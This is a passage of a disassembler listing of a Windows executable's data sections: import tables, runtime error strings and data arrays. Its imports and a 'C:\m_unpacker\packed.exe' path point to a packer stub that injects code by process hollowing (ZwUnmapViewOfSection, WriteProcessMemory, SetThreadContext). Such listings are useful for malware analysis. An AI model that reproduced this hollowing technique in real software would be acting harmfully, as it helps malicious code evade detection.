WinMain(x,x,x,x)+9Dr ... dword_409024 dd 7C809A72h ; resolved to->KERNEL32.VirtualAllocEx ; sub_401820+AAr ... dword_409028 dd 7C801A5Dh ; resolved to->KERNEL32.VirtualProtectEx ; .text:004082B2r dword_40902C dd 7C8328F7h ; resolved to->KERNEL32.ResumeThread ; WinMain(x,x,x,x)+1CFr ... dword_409030 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameA ; WinMain(x,x,x,x)+Ar ... dword_409034 dd 7C812782h ; resolved to->KERNEL32.SetFileAttributesA ; .text:004082C4r dword_409038 dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; ___sbh_heap_init+Dr ... dword_40903C dd 7C801EEEh ; resolved to->KERNEL32.GetStartupInfoAdword_409040 dd 7C812F1Dh ; resolved to->KERNEL32.GetCommandLineA ; .text:004082D6r dword_409044 dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExAdword_409048 dd 7C810EF8h ; resolved to->KERNEL32.HeapDestroy ; .text:00402368r ... dword_40904C dd 7C812BB6h ; resolved to->KERNEL32.HeapCreate ; .text:004082E8r dword_409050 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFree ; ___sbh_free_block+22Fr ... dword_409054 dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap ; ___sbh_free_block+2B4r ... dword_409058 dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; ___sbh_alloc_new_group+52r ... dword_40905C dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeap ; _realloc+FDr ... dword_409060 dd 7C809E79h ; resolved to->KERNEL32.IsBadWritePtr ; ___sbh_heap_check+55r ... dword_409064 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Errordword_409068 dd 7C80180Eh ; resolved to->KERNEL32.ReadFiledword_40906C dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_405A3E-7r ... dword_409070 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcess ; .text:0040831Er dword_409074 dd 7C80CC97h ; resolved to->KERNEL32.SetHandleCount ; .text:00408324r dword_409078 dd 7C812F39h ; resolved to->KERNEL32.GetStdHandle ; __NMSG_WRITE+14Er ... dword_40907C dd 7C810E51h ; resolved to->KERNEL32.GetFileType ; __ioinit+165r ... dword_409080 dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointer ; __lseeki64+52r ... dword_409084 dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; __write+F4r ... dword_409088 dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilter ; .text:00408342r dword_40908C dd 7C81DF77h ; resolved to->KERNEL32.FreeEnvironmentStringsA ; .text:00408348r dword_409090 dd 7C81CF5Bh ; resolved to->KERNEL32.GetEnvironmentStringsA ; .text:0040834Er dword_409094 dd 7C814AE7h ; resolved to->KERNEL32.FreeEnvironmentStringsW ; .text:00408354r dword_409098 dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; _wctomb+47r ... dword_40909C dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsW ; .text:00408360r dword_4090A0 dd 7C81DC03h ; resolved to->KERNEL32.SetStdHandle ; __free_osfhnd:loc_405E7Er ... dword_4090A4 dd 7C812641h ; resolved to->KERNEL32.FlushFileBuffers ; .text:0040836Cr dword_4090A8 dd 7C809B47h ; resolved to->KERNEL32.CloseHandledword_4090AC dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; .text:00408378r dword_4090B0 dd 7C809915h ; resolved to->KERNEL32.GetACP ; __setmbcp+42r ... dword_4090B4 dd 7C8127A7h ; resolved to->KERNEL32.GetOEMCP ; __setmbcp+2Br ... dword_4090B8 dd 7C812E76h ; resolved to->KERNEL32.GetCPInfo ; __setmbcp+93r ... dword_4090BC dd 7C937A40h ; resolved to->NTDLL.RtlUnwinddword_4090C0 dd 7C80978Eh ; resolved to->KERNEL32.InterlockedExchange ; __ValidateEH3RN+196r ... dword_4090C4 dd 7C80B9D1h ; resolved to->KERNEL32.VirtualQuery ; __resetstkoflw+1Ar ... dword_4090C8 dd 7C80A427h ; resolved to->KERNEL32.QueryPerformanceCounter ; .text:004083A2r dword_4090CC dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; .text:004083A8r dword_4090D0 dd 7C809728h ; resolved to->KERNEL32.GetCurrentThreadId ; .text:004083AEr dword_4090D4 dd 7C809920h ; resolved to->KERNEL32.GetCurrentProcessId ; .text:004083B4r dword_4090D8 dd 7C8017E5h ; resolved to->KERNEL32.GetSystemTimeAsFileTime ; .text:004083BAr dword_4090DC dd 7C9109EDh ; resolved to->NTDLL.RtlSizeHeap ; .text:004083C0r dword_4090E0 dd 7C832044h ; resolved to->KERNEL32.SetEndOfFile ; .text:004083C6r dword_4090E4 dd 7C838DE8h ; resolved to->KERNEL32.LCMapStringA ; ___crtLCMapStringA+344r ... dword_4090E8 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; ___crtLCMapStringA+141r ... dword_4090EC dd 7C80CCA8h ; resolved to->KERNEL32.LCMapStringW ; ___crtLCMapStringA+15Br ... dword_4090F0 dd 7C838A0Ch ; resolved to->KERNEL32.GetStringTypeA ; .text:004083DEr dword_4090F4 dd 7C80A490h ; resolved to->KERNEL32.GetStringTypeW ; ___crtGetStringTypeA+128r ... dword_4090F8 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoA ; .text:004083EAr dword_4090FC dd 7C801AD0h ; resolved to->KERNEL32.VirtualProtect ; .text:004083F0r dword_409100 dd 7C812D56h ; resolved to->KERNEL32.GetSystemInfo ; .text:004083F6r align 8 aRtlgetcompress db 'RtlGetCompressionWorkSpaceSize',0 ; DATA XREF: .text:00401047o align 4 aRtldecompressb db 'RtlDecompressBuffer',0 ; DATA XREF: .text:0040103Bo aNtdll_dll db 'ntdll.dll',0 ; DATA XREF: .text:00401022o ; sub_408400+5o align 4 ; char aFsd789f7s89d67[] aFsd789f7s89d67 db 'Fsd789f 7s89d67f78 as6d78f6 as78dytg i4qhekjtn43q,mntgnzsdufvztdy' ; DATA XREF: sub_4010B0+92o db 'utvbfg67 s5d6gsrethkjm54ewntkgmklfdjgn ysfdi9gjh sifdjhgu syfd78y' db 'gsuidtj4ewktnwen jhreitrauiejhfuizsdjgjsklrejgtrwjhnsgfdhngfdn',0 align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_401820+F4o ; WinMain(x,x,x,x)+96o ... align 4 aWriteprocessme db 'WriteProcessMemory',0 ; DATA XREF: sub_401820+EFo ; WinMain(x,x,x,x):loc_401B96o align 10h aVirtualalloc db 'VirtualAlloc',0 ; DATA XREF: WinMain(x,x,x,x)+91o align 10h ; char aRb[] aRb db 'rb',0 ; DATA XREF: WinMain(x,x,x,x)+2Bo align 4 aZwunmapviewofs db 'ZwUnmapViewOfSection',0 ; DATA XREF: sub_408400o align 4 dword_40925C dd 54746553h byte_409260 db 68h ; DATA XREF: __output+5Er aReadcontext db 'readContext',0 align 10h stru_409270 _msEH <0FFFFFFFFh, offset loc_40224B, offset loc_40225F> ; DATA XREF: start+2o align 10h byte_409280 db 6 ; DATA XREF: __output:loc_403500r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 db 8,'`h````',0 dd 78707000h, 8787878h, 807h, 8080007h, 8000008h, 7000800h dd 8 aNull_0: ; DATA XREF: .data:off_40B060o unicode 0, <(null)>,0 align 4 aNull db '(null)',0 ; DATA XREF: .data:off_40B05Co align 4 aCorexitprocess db 'CorExitProcess',0 ; DATA XREF: unknown_libname_1+Fo align 4 aMscoree_dll db 'mscoree.dll',0 ; DATA XREF: unknown_libname_1o aRuntimeError db 'runtime error ',0 align 10h db 0Dh,0Ah,0 align 4 aTlossError db 'TLOSS error',0Dh,0Ah,0 align 4 aSingError db 'SING error',0Dh,0Ah,0 align 4 aDomainError db 'DOMAIN error',0Dh,0Ah,0 align 8 aR6029ThisAppli db 'R6029',0Dh,0Ah db '- This application cannot run using the active version of the Mic' db 'rosoft .NET Runtime',0Ah db 'Please contact the application',27h,'s support team for more informa' db 'tion.',0Dh,0Ah,0 align 4 aR6028UnableToI db 'R6028',0Dh,0Ah db '- unable to initialize heap',0Dh,0Ah,0 align 4 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 10h aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aThisApplicatio db 0Dh,0Ah db 'This application has requested the Runtime to terminate it in an ' db 'unusual way.',0Ah db 'Please contact the application',27h,'s support team for more informa' db 'tion.',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .data:off_40B2FCo db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE+123o ; ___security_error_handler+132o align 10h ; char asc_4096E0[] asc_4096E0 db 0Ah ; DATA XREF: __NMSG_WRITE+107o ; ___security_error_handler+FCo db 0Ah,0 align 4 ; char aRuntimeErrorPr[] aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE+F5o db 0Ah db 'Program: ',0 align 10h ; char a___[] a___ db '...',0 ; DATA XREF: __NMSG_WRITE+C1o ; ___security_error_handler+CCo ; char aProgramNameUnk[] aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: __NMSG_WRITE+8Eo ; ___security_error_handler+8Bo byte_40971B db 0 ; DATA XREF: __wincmdln+1Bo align 10h stru_409720 _msEH <0FFFFFFFFh, offset loc_40528E, offset loc_405292> ; DATA XREF: sub_405261+2o align 10h stru_409730 _msEH <0FFFFFFFFh, offset loc_4052D2, offset loc_4052D6> ; DATA XREF: sub_4052A5+2o dd 41h dup(0) asc_409840: ; DATA XREF: .data:off_40B438o unicode 0, < ((((( H> dw 10h dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h) dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h dd 100010h, 200010h, 40h dup(0) db 2 dup(0) word_409A42 dw 20h ; DATA XREF: .data:off_40B43Co aHH: unicode 0, < h(((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(1810181h), 0Ah dup(1010101h), 3 dup(100010h) dd 3 dup(1820182h), 0Ah dup(1020102h), 2 dup(100010h) dd 10h dup(200020h), 480020h, 8 dup(100010h), 140010h dd 100014h, 2 dup(100010h), 100014h, 2 dup(100010h), 1010010h dd 0Bh dup(1010101h), 1010010h, 3 dup(1010101h), 0Ch dup(1020102h) dd 1020010h, 3 dup(1020102h), 1010102h, 0 stru_409C48 _msEH <0FFFFFFFFh, offset sub_405A2A, offset sub_405A2E> ; DATA XREF: sub_405A3E-2Fo aGetprocesswind db 'GetProcessWindowStation',0 ; DATA XREF: ___crtMessageBoxA+73o aGetuserobjecti db 'GetUserObjectInformationA',0 ; DATA XREF: ___crtMessageBoxA+62o align 4 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA+47o align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: ___crtMessageBoxA+3Fo aMessageboxa db 'MessageBoxA',0 ; DATA XREF: ___crtMessageBoxA+2Eo aUser32_dll db 'user32.dll',0 ; DATA XREF: ___crtMessageBoxA+13o align 4 ; char aProgram[] aProgram db 'Program: ',0 ; DATA XREF: ___security_error_handler+108o align 10h aABufferOverrun db 'A buffer overrun has been detected which has corrupted the progra' ; DATA XREF: ___security_error_handler+62o db 'm',27h,'s',0Ah db 'internal state. The program cannot safely continue execution and' db ' must',0Ah db 'now be terminated.',0Ah,0 aBufferOverrunD db 'Buffer overrun detected!',0 ; DATA XREF: ___security_error_handler:loc_407107o align 10h aASecurityError db 'A security error of unknown cause has been detected which has',0Ah ; DATA XREF: ___security_error_handler+4Co db 'corrupted the program',27h,'s internal state. The program cannot sa' db 'fely',0Ah db 'continue execution and must now be terminated.',0Ah,0 align 4 ; char aUnknownSecurit[] aUnknownSecurit db 'Unknown security failure detected!',0 ; DATA XREF: ___security_error_handler+47o align 4 stru_409E68 _msEH <0FFFFFFFFh, offset loc_4070E2, offset loc_4070E6> ; DATA XREF: ___security_error_handler+5o dword_409E74 dd 0 ; ___crtGetStringTypeA+1Eo stru_409E78 _msEH <0FFFFFFFFh, offset loc_407A23, offset loc_407A27> ; DATA XREF: ___crtLCMapStringA+2o dd 0FFFFFFFFh, 407820h, 407824h, 0FFFFFFFFh, 4078EEh, 4078F2h dd 0 stru_409EA0 _msEH <0FFFFFFFFh, offset loc_407BBF, offset loc_407BC3> ; DATA XREF: ___crtGetStringTypeA+2o align 10h stru_409EB0 _msEH <0FFFFFFFFh, offset loc_407E62, offset loc_407E66> ; DATA XREF: ___convertcp+2o align 10h dd 48h, 0Eh dup(0) dd offset dword_40B440 dd offset dword_409F10 dd 2, 2 dup(0) dword_409F10 dd 5340h, 6D44h, 0dword_409F1C dd 2 dup(0) ; sub_405261:loc_405274o dword_409F24 dd 0 ; sub_4052A5:loc_4052B8o dd 9F50h, 2 dup(0) dd 0A4D4h, 9000h, 5 dup(0) dd 0A058h, 0A066h, 0A078h, 0A088h, 0A09Ah, 0A0AEh, 0A0C2h dd 0A0D4h, 0A0E8h, 0A0FCh, 0A10Eh, 0A122h, 0A132h, 0A148h dd 0A15Eh, 0A16Ah, 0A17Ch, 0A18Eh, 0A19Eh, 0A1ACh, 0A1BAh dd 0A1C8h, 0A1D4h, 0A1E4h, 0A1F2h, 0A202h, 0A212h, 0A21Eh dd 0A22Ch, 0A240h, 0A252h, 0A262h, 0A270h, 0A282h, 0A28Eh dd 0A2AAh, 0A2C4h, 0A2DCh, 0A2F6h, 0A30Ch, 0A326h, 0A336h dd 0A34Ah, 0A358h, 0A366h, 0A370h, 0A37Ch, 0A388h, 0A394h dd 0A3AAh, 0A3BAh, 0A3D4h, 0A3E4h, 0A3FAh, 0A410h, 0A42Ah dd 0A436h, 0A446h, 0A456h, 0A46Ch, 0A47Ch, 0A48Eh, 0A4A0h dd 0A4B2h, 0A4C4h, 0 dd 724600EFh, 694C6565h, 72617262h, 1980079h, 50746547h dd 41636F72h, 65726464h, 7373h, 6F4C0248h, 694C6461h, 72617262h dd 4179h, 6956037Ch, 61757472h, 6575516Ch, 78457972h, 2AC0000h aReadprocessmem db 'ReadProcessMemory',0 dw 1CDh aGetthreadconte db 'GetThreadContext',0 align 2 db '`',0 aCreateprocessa db 'CreateProcessA',0 align 4 dd 6554034Fh, 6E696D72h, 50657461h, 65636F72h, 7373h, 65470177h dd 646F4D74h, 48656C75h, 6C646E61h, 4165h, 69560374h, 61757472h dd 6C6C416Ch, 7845636Fh, 37A0000h, 74726956h, 506C6175h dd 65746F72h, 78457463h, 2C50000h, 75736552h, 6854656Dh dd 64616572h, 1750000h aGetmodulefilen db 'GetModuleFileNameA',0 align 4 db 0Ch db 3, 53h, 65h aTfileattribute db 'tFileAttributesA',0 align 2 dw 206h aHeapalloc db 'HeapAlloc',0 dw 1AFh aGetstartupinfo db 'GetStartupInfoA',0 db 8 db 1, 47h, 65h aTcommandlinea db 'tCommandLineA',0 dw 1DFh aGetversionexa db 'GetVersionExA',0 dw 20Ah aHeapdestroy db 'HeapDestroy',0 db 8 db 2, 48h, 65h aApcreate db 'apCreate',0 align 2 dw 376h aVirtualfree db 'VirtualFree',0 db 0Ch db 2, 48h, 65h aApfree db 'apFree',0 align 4 db 73h ; s db 3, 56h, 69h aRtualalloc db 'rtualAlloc',0 align 4 db 10h db 2, 48h, 65h aAprealloc db 'apReAlloc',0 dw 22Ch aIsbadwriteptr db 'IsBadWritePtr',0 dw 169h aGetlasterror db 'GetLastError',0 align 2 dw 2A9h aReadfile db 'ReadFile',0 align 2 aP db '¯',0 aExitprocess db 'ExitProcess',0 db 3Ah ; : db 1, 47h, 65h aTcurrentproces db 'tCurrentProcess',0 dd 65530317h, 6E614874h, 43656C64h, 746E756Fh, 1B10000h dd 53746547h, 61486474h, 656C646Eh, 15E0000h, 46746547h dd 54656C69h, 657079h, 6553030Eh, 6C694674h, 696F5065h dd 7265746Eh, 3940000h, 74697257h, 6C694665h, 3600065h aUnhandledexcep db 'UnhandledExceptionFilter',0 align 2 aA db 'í',0 aFreeenvironmen db 'FreeEnvironmentStringsA',0 db 4Dh ; M db 1, 47h, 65h aTenvironmentst db 'tEnvironmentStrings',0 aU db 'î',0 aFreeenvironm_0 db 'FreeEnvironmentStringsW',0 dw 387h aWidechartomult db 'WideCharToMultiByte',0 db 4Fh ; O db 1, 47h, 65h aTenvironment_0 db 'tEnvironmentStringsW',0 align 2 dw 32Ah aSetstdhandle db 'SetStdHandle',0 align 2 db 'å',0 aFlushfilebuffe db 'FlushFileBuffers',0 align 2 a_ db '.',0 aClosehandle db 'CloseHandle',0 aM db 'M',0 aCreatefilea db 'CreateFileA',0 dw 0F5h aGetacp db 'GetACP',0 align 10h db 8Bh ; ‹ db 1, 47h, 65h aToemcp db 'tOEMCP',0 align 4 db 0FCh ; ü align 2 aGetcpinfo db 'GetCPInfo',0 db 0CAh ; Ê db 2, 52h, 74h aLunwind db 'lUnwind',0 db 1Fh db 2, 49h, 6Eh aTerlockedexcha db 'terlockedExchange',0 dw 37Bh aVirtualquery db 'VirtualQuery',0 align 2 dw 297h aQueryperforman db 'QueryPerformanceCounter',0 db 0D5h ; Õ db 1, 47h, 65h aTtickcount db 'tTickCount',0 align 4 db 3Eh ; > db 1, 47h, 65h aTcurrentthread db 'tCurrentThreadId',0 align 2 dw 13Bh aGetcurrentproc db 'GetCurrentProcessId',0 db 0C0h ; À db 1, 47h, 65h aTsystemtimeasf db 'tSystemTimeAsFileTime',0 dw 212h aHeapsize db 'HeapSize',0 align 2 dw 303h aSetendoffile db 'SetEndOfFile',0 align 2 dw 23Ah aLcmapstringa db 'LCMapStringA',0 align 2 dw 26Bh aMultibytetowid db 'MultiByteToWideChar',0 dd 434C023Bh, 5370614Dh, 6E697274h, 5767h, 654701B2h, 72745374h dd 54676E69h, 41657079h, 1B50000h, 53746547h, 6E697274h dd 70795467h, 5765h, 6547016Ch, 636F4C74h, 49656C61h, 416F666Eh dd 3790000h, 74726956h, 506C6175h, 65746F72h, 7463h, 654701BBh dd 73795374h, 496D6574h, 6F666Eh, 4E52454Bh, 32334C45h dd 6C6C642Eh db 2 dup(0) _rdata ends ; Section 3. (virtual address 0000B000) ; Virtual size : 00001DD0 ( 7632.) ; Section size in file : 00001DD0 ( 7632.) ; Offset to raw data for section: 0000B000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 40B000h dword_40B000 dd 0 dd offset ___security_init_cookie dd offset sub_408400 dd offset sub_408420 dword_40B010 dd 0 dword_40B014 dd 0 dd offset ___initstdio dd offset ___onexitinit dd offset ___initmbctable dword_40B024 dd 0 dword_40B028 dd 0 dd offset ___endstdio dword_40B030 dd 0 dword_40B034 dd 0 dword_40B038 dd 2 dup(0) ; __int32 Offset Offset dd 9800h ; DATA XREF: sub_4010B0+25r ; sub_4010B0:loc_40115Ar ... dd 0FAh, 2 dup(0) off_40B050 dd offset __exit ; DATA XREF: __amsg_exit+1Cr dword_40B054 dd 2 ; __FF_MSGBANNER+Er ... dd 10h off_40B05C dd offset aNull ; DATA XREF: __output:loc_40388Cr ; __output+51Cr ; "(null)" off_40B060 dd offset aNull_0 ; DATA XREF: __output+2D8r ; "(null)" align 8 off_40B068 dd offset dword_40BDA0 ; DATA XREF: .text:00403C8Eo ; ___initstdio+52o align 10h dd offset dword_40BDA0 dd 101h dword_40B078 dd 0FFFFFFFFh, 0 dd 1000h, 0 ; FILE stru_40B088 stru_40B088 FILE <0, 0, 0, 2, 0FFFFFFFFh, 0, 0, 0> ; DATA XREF: _printf+3o ; __stbuf+12o ... dword_40B0A8 dd 3 dup(0) ; __flsbuf+5Bo dd 2, 0FFFFFFFFh, 3 dup(0) dword_40B0C8 dd 322E40h, 0 dd 322E40h, 9 dword_40B0D8 dd 3, 0 dd 200h, 81h dup(0) dword_40B2E8 dd 2 dup(0) dword_40B2F0 dd 0FFFFFFFFh, 0A80h ; __flsbuf:loc_405871o dword_40B2F8 dd 2 ; __NMSG_WRITE+3Ar ... off_40B2FC dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE+D5r ; __NMSG_WRITE+112r ... ; "R6002\r\n- floating point not loaded\r\n" dd 8, 409664h, 9, 409638h, 0Ah, 4095A0h, 10h, 409574h dd 11h, 409544h, 12h, 409520h, 13h, 4094F4h, 18h, 4094BCh dd 19h, 409494h, 1Ah, 40945Ch, 1Bh, 409424h, 1Ch, 4093FCh dd 1Dh, 409358h, 78h, 409344h, 79h, 409334h, 7Ah, 409324h dd 0FCh, 409320h, 0FFh, 409310h dword_40B390 dd 0C0000005h, 0Bh, 0 ; __XcptFilter+Co dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 dd 0C000008Dh, 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 dd 0C0000090h, 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_40B408 dd 3 dword_40B40C dd 7 dword_40B410 dd 0Ah ; __XcptFilter+6r dword_40B414 dd 8Ch ; __XcptFilter+BAw ... align 10h off_40B420 dd offset __fptrap ; DATA XREF: __output+476r off_40B424 dd offset __fptrap ; DATA XREF: __output+4A2r dd offset __fptrap off_40B42C dd offset __fptrap ; DATA XREF: __output+491r dd offset __fptrap dd offset __fptrap off_40B438 dd offset asc_409840 ; DATA XREF: __output:loc_4036B0r ; .text:00405A07r ... ; " ((((( H" off_40B43C dd offset word_409A42 ; DATA XREF: .text:00405A01r dword_40B440 dd 246F09BCh ; __NMSG_WRITE+Er ... align 10h dword_40B450 dd 1 dword_40B454 dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch, 2 dup(0) byte_40B5C0 db 1 ; DATA XREF: __setmbcp+120r db 2, 4, 8 align 8 dword_40B5C8 dd 3A4h dword_40B5CC dd 82798260h dd 21h, 0 dword_40B5D8 dd 0DFA6h align 10h dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_40B6B8 dd 19930520h, 3 dup(0) ; __NLG_Notify+2o dd 1 dword_40B6CC dd 1 ; __ismbcspace:loc_40817Fr dd 2Eh, 1, 2 dup(0) byte_40B6E0 db 0DCh ; DATA XREF: sub_4010B0+58o ; sub_4010B0+6Dr ... byte_40B6E1 db 0D1h ; DATA XREF: sub_4010B0+3Ao ; sub_4010B0+62r ... align 8 ; char aCM_unpackerPac[] aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: .text:004019E5o ; WinMain(x,x,x,x)+15o ... align 4 dd 3Ah dup(0) dword_40B7EC dd 38h ; .text:004019B0r ... dword_40B7F0 dd 30h ; WinMain(x,x,x,x)+1E2w dword_40B7F4 dd 30h byte_40B7F8 db 0F2h ; DATA XREF: sub_4010B0+49o ; sub_4010B0+67r ... align 4 ; FILE *File File dd offset dword_40B0C8 ; DATA XREF: WinMain(x,x,x,x)+3Fw ; WinMain(x,x,x,x)+C2r dword_40B800 dd 400000h dword_40B804 dd 30h ; WinMain(x,x,x,x)+18Br ... byte_40B808 db 1 ; DATA XREF: .text:004019B6w ; WinMain(x,x,x,x)+1C8w ... align 4 dword_40B80C dd 400000h ; sub_401820+75w ... dword_40B810 dd 7C862A69h ; resolved to->KERNEL32.SetThreadContext ; sub_408420+17w dword_40B814 dd 7C90E960h ; resolved to->NTDLL.ZwUnmapViewOfSection ; sub_408400+17w ; void *dword_40B818 dword_40B818 dd 0 ; __setenvp:loc_404E7Cr ... align 10h dword_40B820 dd 0 ; .text:_fast_error_exitr ... dword_40B824 dd 0 ; .text:004032FBw ... dword_40B828 dd 0 ; _calloc:loc_405B38r ... dd 2 dup(0) dword_40B834 dd 2 ; __openfile+14Cw ... dword_40B838 dd 0 ; _fseek:loc_401F80w ... dword_40B83C dd 0 ; __read:loc_404001w ... dword_40B840 dd 0 dword_40B844 dd 2 dword_40B848 dd 0A28h dword_40B84C dd 501h dword_40B850 dd 5 ; ___heap_select+9r ... dword_40B854 dd 1 dword_40B858 dd 1 dword_40B85C dd 3213F8h dd 0 ; void *dword_40B864 dword_40B864 dd 321418h ; __setenvp:loc_404F1Br ... dd 3 dup(0) off_40B874 dd offset aCM_unpackerP_0 ; DATA XREF: __setargv+37w ; "C:\\m_unpacker\\packed.exe" dd 0 byte_40B87C db 0 ; DATA XREF: ___endstdio+5r ; _doexit+2Dw align 10h dword_40B880 dd 1 dword_40B884 dd 1 dword_40B888 dd 0 dword_40B88C dd 0 ; __XcptFilter+73w ... aCM_unpackerP_0 db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: __setargv+1Co ; .data:off_40B874o align 4 dd 3Ah dup(0) byte_40B994 db 0 ; DATA XREF: __setargv+23w align 4 dword_40B998 dd 1 ; ___crtGetEnvironmentStringsA+24w ... dword_40B99C dd 0 dword_40B9A0 dd 0 ; ___crtMessageBoxA+38w ... dword_40B9A4 dd 0 ; ___crtMessageBoxA:loc_406571r dword_40B9A8 dd 0 ; ___crtMessageBoxA+D6r dword_40B9AC dd 0 ; ___crtMessageBoxA:loc_40652Cr dword_40B9B0 dd 0 ; ___crtMessageBoxA+9Cr dword_40B9B4 dd 1 ; .text:004068F0w ... dword_40B9B8 dd 0 ; __ValidateEH3RN+13Fr ... align 10h dword_40B9C0 dd 0 ; __ValidateEH3RN+1C4r ... dd 0Fh dup(0) dword_40BA00 dd 3 dup(0) ; __ValidateEH3RN+191o ... ; int dword_40BA0C dword_40BA0C dd 0 ; ___crtLCMapStringA+265r ... dd 3 dup(0) ; int dword_40BA1C dword_40BA1C dd 0 ; .text:0040691Ar ... dd 0 dword_40BA24 dd 0 ; .text:004071F6r ... dword_40BA28 dd 0 dword_40BA2C dd 1 ; ___crtLCMapStringA+31w ... dword_40BA30 dd 1 ; ___crtGetStringTypeA+2Ew ... ; int dword_40BA34 dword_40BA34 dd 0 ; _setSBUpLow+84r ... dword_40BA38 dd 0 ; __setmbcp+14Dw ... align 10h byte_40BA40 db 0 ; DATA XREF: _setSBCS+6o __setmbcp+A7o ... byte_40BA41 db 0 ; DATA XREF: _parse_cmdline+47r ; _parse_cmdline+11Dr ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h ; int dword_40BB44 dword_40BB44 dd 4E4h align 10h dword_40BB50 dd 4 dup(0) ; __setmbcp+162o ... byte_40BB60 db 0 ; DATA XREF: _setSBUpLow:loc_406A94w ; _setSBUpLow:loc_406AB1w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 